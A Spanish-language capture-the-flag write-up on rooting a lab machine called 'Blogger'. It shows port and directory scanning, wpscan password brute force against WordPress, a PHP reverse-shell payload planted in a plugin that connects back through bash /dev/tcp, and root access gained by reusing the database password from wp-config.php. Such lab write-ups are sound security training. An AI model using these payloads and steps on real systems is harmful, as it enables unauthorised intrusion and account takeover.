27 - Blogger - wh01s17

Enumeramos puertos y directorios:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.192.68

❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 17:57 -03
Nmap scan report for 192.168.1.68
Host is up (0.00036s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.69 seconds

❯ gobuster dir -u 'http://192.168.1.68' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,sql,png,xml,zip,sh -r
...
/index.html           (Status: 200) [Size: 10701]
/wordpress            (Status: 200) [Size: 22672]
...

Hay una instalación de WordPress. La escaneamos con wpscan, haciendo fuerza bruta de contraseñas, y obtenemos credenciales válidas:

❯ wpscan --url http://192.168.1.68/wordpress --passwords=/home/wh01s17/Documentos/wordlists/rockyou.txt -t 50
...
[!] Valid Combinations Found:
 | Username: peter, Password: peterpan
...

También descubrimos el dominio megablog.nyx, que agregamos al /etc/hosts. Iniciamos sesión en el dashboard, editamos un plugin con una reverse shell PHP y lo activamos para ejecutar el código como www-data:

<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.9/1234 0>&1'");
?>

❯ ncat -nlvp 1234
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.68:57794.
bash: cannot set terminal process group (488): Inappropriate ioctl for device
bash: no job control in this shell
www-data@blogger:/var/www/html/wordpress/wp-admin$

Para escalar privilegios, revisamos wp-config.php, que contiene las credenciales de la base de datos:

www-data@blogger:/var/www/html/wordpress$ cat wp-config.php
...
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'root' );

/** Database password */
define( 'DB_PASSWORD', 'm3g@Bl0g123' );
...

Probamos esa contraseña por reutilización con el usuario root del sistema, y funciona:

www-data@blogger:/var/www/html/wordpress$ su root
Password: m3g@Bl0g123
whoami
root

Obtenemos las flags y fin.